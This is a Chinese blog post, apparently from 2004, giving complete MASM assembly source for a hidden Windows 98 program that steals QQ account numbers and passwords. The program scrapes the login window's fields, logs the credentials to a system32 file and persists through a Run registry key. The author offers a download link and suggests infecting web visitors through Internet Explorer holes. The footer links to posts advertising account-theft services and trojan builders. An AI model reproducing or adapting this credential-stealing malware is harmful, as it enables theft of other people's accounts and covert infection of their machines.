利用汇编语言开发盗QQ密码程序

原创 2004年08月31日 15:30:00

你可以从这个程序学到如何利用汇编...的一些特别特性

程序下载地址:
locking.8u8.com/hack/asmqq.rar


这是一个我用了一天多编出来的运行在98环境下的
记录QQ密码的小程序,只有不到7KB
编程语言是win32汇编,我用的是MASM8.0编绎器

可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程
序要么被杀要么没更新用不到了....只好自已写一个,由于这
个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE
的洞洞让看过网页的人就中招..当然你还得改改程序,因为它
不具有发邮件的功能.

文件说明:
qqlog.txt c:windowssystem32目录下,密码就放这儿了
qqplus.exe 主程序,使用时放在system目录下,程序写注册表自启动
qqplus.asm 源文件
qq.rc 资源文件
findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法
str.asm 验证在文件中找是否有已知字串的小模块
readme.txt 这也要说明:)

编绎参数:
D:masm32BIN>type b.bat
ml /c /coff msg.asm
link /subsystem:windows msg.obj qq.res

czy 于03.06.15

.386
.model flat,stdcall
option casemap:none

include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/Advapi32.inc
includelib ../lib/Advapi32.lib

_PROCVAR2 typedef proto :dword,:dword
PROCVAR2 typedef ptr _PROCVAR2


.data
szcaption db hello asm!,0
sztext db hehe ,0
szqqtitle db ,0
sztext1 db cant find ,0
tx db 40 dup(0),0
pass db 16 dup(0),0
qqno db 40 dup(0),0
log db c:windowssystem32qqlog.txt,0
szFormat db %s %s,0dh,0Ah,0
regpath db SoftwareMicrosoftWindowsCurrentVersionRun,0
keyname db QQplus,0
exename db QQplus.exe,0
hkey dd ?
allnum dd ?
@szBuffer db 60 dup(0),0
canwrite db 0
;---------------------------------是否有重复记录
find db 相同用户名密码已在文件中存在,0
logall db 1024 dup(0),0
@hFile1 dd ?

p dd 0 ;开始一次匹配值设为1,终止一次匹配又改为0
k dd 0 ;在logall中找到多少个相同的字符了
q dd 0 ;保存在一次匹配*作中logall中的第一个字符的位置?
j dd 0 ;记录在logall中找到多少个字串来了

base dd 0 ;记录logall的地址

lenstr dd 0 ;记录匹配的字串的长度
len dd 0 ;记录文件长度

@szBuffer1 db 10 dup(0),0
szFormat1 db %d%s,0


;---------------------------------

.const
szregister db RegisterServiceProcessA,0
kerdll db kernel32.dll,0

.data?
hInstance dd ?
hWinMain dd ?
RegisterServiceProcessA PROCVAR2 ?
hDllInstance dd ?


.code

_isin proc

invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile1,eax
invoke GetFileSize,@hFile1,NULL ;得到文件长度
invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL
invoke CloseHandle,@hFile1


invoke lstrlen,addr logall ;得到字串总长
mov esi,offset len
mov [esi],eax ;并记录到len变量中

invoke lstrlen,offset @szBuffer ;得到要记当的用户名密码找度
mov esi,offset lenstr
mov [esi],eax

;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr
;invoke MessageBox,NULL,offset logall,offset @szBuffer,1
;上面的*作从文件中读出所有内容,下面就是比较

mov esi,offset logall
mov edi,offset @szBuffer
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

@@bg:

movzx eax,byte ptr [esi] ;logall
movzx ebx,byte ptr [edi] ;@szBuffer
mov ecx,len
.if j>ecx
jmp @@exit
.endif

.if eax==ebx
.if p==0 ;找到一个和hello的第一个字母相同的

inc p ;p设为1

mov edx,offset j
mov ecx,[edx]
mov q,ecx ;把j的值给Q

.endif

inc edi
inc esi
inc j
inc k

mov ecx,lenstr
.if k==ecx
pushad
;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall
;invoke MessageBox,NULL,offset @szBuffer1,offset find,1
popad ;调用了函数eax值发生变化所以要还原寄存器
inc canwrite ;可写入标记设为1
jmp @@exit
.endif

.else
.if p==1
mov ecx,q
mov j,ecx
inc j

movzx eax,byte ptr [esi]
add esi,j

mov edi,offset @szBuffer
dec p ;p重设为0
mov k,0
.else
inc j
inc esi
.endif
.endif

jmp @@bg
@@exit:
ret
_isin endp


_SavePass proc ;用户名密码记录在全局变量中了
local @hfile:HFILE
local @lpOpenbuf:OFSTRUCT

invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass
;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1

mov qqno,NULL
mov pass,NULL

invoke _isin

.if canwrite==0

invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
;OPEN_ALWAYS:存在则打开,不存在就创建
mov @hFile,eax
invoke SetFilePointer,@hFile,0,NULL,FILE_END
invoke SetEndOfFile,@hFile ;文件指针放到文件尾
invoke lstrlen,addr @szBuffer
invoke _lwrite,@hFile,addr @szBuffer,eax
.else
dec canwrite ;还原标记
.endif

invoke CloseHandle,@hFile

;清空当前记录的密码防止重复记录

ret
_SavePass endp

_Findzi proc _hzi

invoke GetWindowLong,_hzi, GWL_STYLE

.if eax==50012080h ;记录QQ号码
invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
inc eax
push eax
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx
;invoke MessageBox,NULL,offset tx,offset szcaption,1


; mov esi, offset tx
; mov edi, offset qqno
;MYCOPYSTR0:
; mov al,byte ptr [esi]
; cmp al,0
; jz MYCOPYSTR1
; mov [edi],al
; inc esi
; inc edi
; jmp MYCOPYSTR0
;MYCOPYSTR1:
pop ecx

.if ecx>5 ;长度大于4,qqno!=tx

mov edi,offset qqno
mov esi,offset tx
xor edx,edx
.while edx<ecx
mov eax,[esi]
cmp [edi],eax
jnz @@qt
inc esi
inc edi
inc edx
.endw
jmp @@ps


@@qt:
xor edx,edx
mov edi,offset qqno
mov esi,offset tx

.while edx<ecx
mov eax,[esi]
mov [edi],eax
inc esi
inc edi
inc edx
.endw


;invoke MessageBox,NULL,offset qqno,offset szcaption,1
.endif
.endif


@@ps:


.if eax==500100A0h ;记录QQ密码
invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
inc eax
push eax
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx

pop ecx

.if ecx>6 ;长度大于5,qqno!=tx

mov edi,offset pass
mov esi,offset tx
xor edx,edx
.while edx<ecx
mov eax,[esi]
cmp [edi],eax
jnz @@qt1
inc esi
inc edi
inc edx
.endw
jmp @@ps1


@@qt1:
xor edx,edx
mov edi,offset pass
mov esi,offset tx

.while edx<ecx
mov eax,[esi]
mov [edi],eax
inc esi
inc edi
inc edx
.endw

;invoke MessageBox,NULL,offset pass,offset szcaption,1
.endif
.endif
@@ps1:


invoke GetWindow,_hzi, GW_HWNDNEXT ;例举下一个兄弟窗体


.If eax!=0 ;没有兄弟窗口了
invoke _Findzi,eax
.EndIf

invoke GetWindow,_hzi, GW_CHILD ;是否有子窗口

.If eax!=0 ;没有子窗口了
invoke _Findzi,eax
.EndIf

ret
_Findzi endp


_ProcTimer proc _hWnd,uMsg,_idEvent,_dwTime
pushad
invoke FindWindow,NULL,offset szqqtitle
.if eax
invoke GetWindow,eax, GW_CHILD
invoke _Findzi,eax
.else
;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
;找不到登陆窗口并且用户名密码不为空就试图记录

invoke lstrlen,offset pass
.if eax>5
;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
invoke _SavePass
.endif
.endif
popad
ret

_ProcTimer endp


_ProcDlgMain proc uses ebx edi esi,hWnd,uMsg,wParam,lParam
mov eax,uMsg
.if eax==WM_INITDIALOG
push hWnd
pop hWinMain
invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW ;显藏程序在任务栏的按钮
invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW ;窗口不可见
invoke SetTimer,hWinMain,1,500,addr _ProcTimer
.elseif eax == WM_CLOSE
invoke KillTimer,hWinMain,1
invoke EndDialog,hWinMain,NULL

.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
_ProcDlgMain endp


start:
invoke GetModuleHandle,NULL
mov hInstance,eax

;pushad
;invoke LoadLibrary,offset kerdll
;.if eax ;加载KERNEL32.dll成功

; mov hDllInstance,eax
; invoke GetProcAddress,hDllInstance,offset szregister
;
; mov RegisterServiceProcessA,eax
; ;mov ebx,01
; invoke RegisterServiceProcessA,hInstance,01 ;在务任管理器中隐藏进程
;
; invoke FreeLibrary,offset kerdll
;.endif
;popad

invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL


;开机自启动
invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey
invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11
invoke RegCloseKey,hkey
;invoke ExitProcess,NULL
end start

如何盗取QQ密码比较详细怎样盗别人qq号的方法

怎么盗别人的qq密码,最主要的就是把别人的密码偷来,不过,没有人会告诉你:我的密码是什么什么,请你尽情的用我的号码吧!那么,我们怎么去把别人的密码偷来呢?请看 1、前提工作,你要去下载冰河,和Netx...
  • u011540971
  • u011540971
  • 2013年10月05日 22:48
  • 22999

解析盗号高手是怎么盗QQ密码的

互联网发展到今天,在中国应该算是非常普及了,随着智能手机的推出和普及,人们逐渐从PC端转向了移动互联网时代,同时随着各方面的对网络安全意识的普及,一般的骗术可能能被大众识破,但今天我要说的这种骗术虽然...
  • qq84426996qqq
  • qq84426996qqq
  • 2017年12月14日 15:39
  • 373

怎么盗QQ密码,如何盗别人QQ密码最简单方法

口口号:82566123  这个人是专门帮别人盗号,查qq聊天记录,手机清单的黑客,他以前帮过我,人挺好! 以下有几种方法,可以让你轻松的找会自己的号。82566123 1、在线密码破解  大家...
  • sdcfrbgr
  • sdcfrbgr
  • 2014年06月12日 15:30
  • 3165

怎么盗QQ密码,如何盗别人QQ密码最简单方法

口口号:3085 7898 这个人是专门帮别人盗号,查qq聊天记录,手机清单的黑客,他以前帮过我,人挺好! 以下有几种方法,可以让你轻松的找会自己的号。3085 7898 1、在线密码破解 大家知...
  • qq30857898
  • qq30857898
  • 2014年10月19日 17:08
  • 11

不法分子盗qq号的方法

1、制作盗号木马服务端 7(/yyZQnZ  运行“强强QQ绝爱去后门版”盗号生成器,输入邮件接收和发送邮箱地址,邮件主题、用户名和密码等,最后点击“生成”按钮,即可生成一个免杀的QQ盗号木马程序...
  • u010487568
  • u010487568
  • 2013年12月18日 13:45
  • 1610

关于社工高强度的QQ密码

想必很多偷密码的人对一个高强度密保的QQ 都无能为力,(他的密保程度:手机验证,手机令牌,邮箱独立密码,3个密保)我要说的经历就是攻破这个高密保QQ  大家不要笑话哈,我文采很差,说的不好大家尽管调戏...
  • u012762797
  • u012762797
  • 2014年06月08日 00:52
  • 1250

盗取网站账户密码和本地邮箱木马分析

发现了一种盗取浏览器保存的网站账户密码和本地邮箱的账号和密码的木马,这个木马主要通过使用Mail passView和webBrowserPassView两款查看账号密码的软件,通过两款外壳来对两个工具...
  • u011636170
  • u011636170
  • 2016年11月22日 09:37
  • 710

键盘记录器,可截获到 QQ 的密码

虽然 QQ 的密码框经过了特殊的处理,但是通过一些特殊手段仍然可以得到输入过程中键盘输入的内容。代码仅供娱乐使用!...
  • Henzox
  • Henzox
  • 2014年06月25日 08:57
  • 10981

汇编语言编程:按照凯撒密码的规则加密

;要求:提示输入一字符串;键盘输入,Enter键结束输入;加密后换行显示加密结果。;;凯撒编码规律:;字母A 变为E,a 变为e,即变成其后的第 4 个字母(题目是这样要求的,也可改成别的数字);;字...
  • baidu_33836580
  • baidu_33836580
  • 2016年01月25日 11:49
  • 1707
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:利用汇编语言开发盗QQ密码程序
举报原因:
原因补充:

(最多只允许输入30个字)